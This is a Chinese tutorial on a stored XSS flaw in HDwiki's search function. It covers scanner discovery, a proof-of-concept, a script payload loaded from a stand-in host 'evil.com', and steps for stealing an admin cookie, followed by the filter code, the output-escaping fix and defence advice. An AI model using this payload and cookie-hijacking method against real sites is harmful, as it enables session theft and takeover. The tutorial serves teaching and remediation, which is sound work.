AWVS漏洞扫描实战:HDwiki XSS漏洞发现、利用及修复
字数 1041 2025-08-15 21:30:49

HDwiki XSS漏洞分析与利用实战教学文档

1. 漏洞背景

HDwiki是一款开源的中文Wiki系统,在5.1和6.0版本中存在一个存储型XSS漏洞,攻击者可以利用该漏洞实施Cookie劫持攻击,进而获取管理员权限。

2. 漏洞发现

2.1 使用AWVS扫描

  • 使用工具:Acunetix Web Vulnerability Scanner (AWVS) 11破解版
  • AWVS特点:
    • DeepScan技术:抓取AJAX密集型客户端单页面应用程序(SPA)
    • 先进的SQL注入和XSS测试能力
    • AcuSensor技术:结合黑盒扫描和源代码传感器反馈

2.2 扫描结果

AWVS扫描发现:

  • HDwiki 5.1和6.0版本均存在高危XSS漏洞
  • 漏洞位置:搜索功能处

3. 漏洞分析

3.1 漏洞位置

/index.php的搜索功能参数:

search-fulltext-title-[编码后的XSS代码]--all-0-within-time-desc-1

3.2 POC代码

AWVS使用的测试POC:

e<ScRiPt >QrAN(9515)</sCripT>

URL编码后:

%2565%253C%2553%2563%2572%2569%2570%2574%2520%253E%2551%2572%2541%254E%25289515%2529%253C%252F%2573%2543%2572%2569%2570%2554%253E

3.3 攻击代码

构造的攻击代码:

<ScRiPt src=http://www.evil.com/evil.js</sCripT>

URL编码后:

%3c%53%63%52%69%50%74%20%73%72%63%3d%68%74%74%70%3a%2f%2f%77%77%77%2e%65%76%69%6c%2e%63%6f%6d%2f%65%76%69%6c%2e%6a%73%3e%3c%2f%73%43%72%69%70%54%3e

4. 漏洞利用

4.1 攻击步骤

  1. 在HDwiki的高级搜索功能中输入编码后的攻击代码
  2. 页面执行恶意脚本,向攻击者服务器发送用户Cookie
  3. 攻击者获取admin用户的Cookie
  4. 使用盗取的Cookie登录系统

4.2 攻击效果

  • 实现Cookie劫持攻击
  • 获取管理员权限
  • 可进一步上传一句话木马等恶意操作

5. 漏洞原理

5.1 现有过滤机制

服务器端PHP过滤代码:

function checksecurity() {
    $check_array = array(
        'get'=>array('cast', 'exec','show ','show/*','alter ','alter/*',
        'create ','create/*','insert ','insert/*', 'select ','select/*',
        'delete ','delete/*','update ', 'update/*','drop ','drop/*',
        'truncate ','truncate/*','replace ','replace/*','union ','union/*',
        'execute', 'from', 'declare', 'varchar', 'script', 'iframe'0x'27', '%22'
    );
    
    foreach ($check_array as $check_key=>$check_val) {
        if(!empty($this->$check_key)) {
            foreach($this->$check_key as $getvalue) {
                foreach ($check_val as $invalue) {
                    if(stripos($getvalue, $invalue) !== false){
                        $this->notfound('page is not found!');
                        //exit('No Aceess!注意敏感词!');
                    }
                }
            }
        }
    }
}

5.2 过滤缺陷

  • 虽然对部分关键词进行了过滤,但不够全面
  • 大小写变形绕过:如<ScRiPt>可以绕过对<script>的检测
  • 未对输出进行充分转义

6. 漏洞修复

6.1 修复方案

采用输出过滤策略,对$serchtext变量进行转义:

$serchtext=htmlspecialchars(stripslashes($serchtext));

6.2 修复原理

  • 使用htmlspecialchars()函数对特殊字符进行HTML实体转义
  • 使用stripslashes()去除可能的转义斜杠
  • 重点转义输出到页面的变量,特别是用户可控的输入

7. 防御建议

  1. 对所有用户输入进行严格的过滤和验证
  2. 对所有输出到页面的内容进行HTML实体转义
  3. 使用内容安全策略(CSP)限制脚本执行
  4. 设置HttpOnly标志保护Cookie
  5. 实施CSRF防护机制

8. 总结

本漏洞展示了存储型XSS的实际危害,通过AWVS扫描发现并验证了漏洞的存在。攻击者可以利用该漏洞窃取用户会话,获取系统控制权。修复的关键在于对输出内容进行适当的转义处理,而不仅仅是依赖输入过滤。

HDwiki XSS漏洞分析与利用实战教学文档 1. 漏洞背景 HDwiki是一款开源的中文Wiki系统,在5.1和6.0版本中存在一个存储型XSS漏洞,攻击者可以利用该漏洞实施Cookie劫持攻击,进而获取管理员权限。 2. 漏洞发现 2.1 使用AWVS扫描 使用工具:Acunetix Web Vulnerability Scanner (AWVS) 11破解版 AWVS特点: DeepScan技术:抓取AJAX密集型客户端单页面应用程序(SPA) 先进的SQL注入和XSS测试能力 AcuSensor技术:结合黑盒扫描和源代码传感器反馈 2.2 扫描结果 AWVS扫描发现: HDwiki 5.1和6.0版本均存在高危XSS漏洞 漏洞位置:搜索功能处 3. 漏洞分析 3.1 漏洞位置 /index.php 的搜索功能参数: 3.2 POC代码 AWVS使用的测试POC: URL编码后: 3.3 攻击代码 构造的攻击代码: URL编码后: 4. 漏洞利用 4.1 攻击步骤 在HDwiki的高级搜索功能中输入编码后的攻击代码 页面执行恶意脚本,向攻击者服务器发送用户Cookie 攻击者获取admin用户的Cookie 使用盗取的Cookie登录系统 4.2 攻击效果 实现Cookie劫持攻击 获取管理员权限 可进一步上传一句话木马等恶意操作 5. 漏洞原理 5.1 现有过滤机制 服务器端PHP过滤代码: 5.2 过滤缺陷 虽然对部分关键词进行了过滤,但不够全面 大小写变形绕过:如 <ScRiPt> 可以绕过对 <script> 的检测 未对输出进行充分转义 6. 漏洞修复 6.1 修复方案 采用输出过滤策略,对 $serchtext 变量进行转义: 6.2 修复原理 使用 htmlspecialchars() 函数对特殊字符进行HTML实体转义 使用 stripslashes() 去除可能的转义斜杠 重点转义输出到页面的变量,特别是用户可控的输入 7. 防御建议 对所有用户输入进行严格的过滤和验证 对所有输出到页面的内容进行HTML实体转义 使用内容安全策略(CSP)限制脚本执行 设置HttpOnly标志保护Cookie 实施CSRF防护机制 8. 总结 本漏洞展示了存储型XSS的实际危害,通过AWVS扫描发现并验证了漏洞的存在。攻击者可以利用该漏洞窃取用户会话,获取系统控制权。修复的关键在于对输出内容进行适当的转义处理,而不仅仅是依赖输入过滤。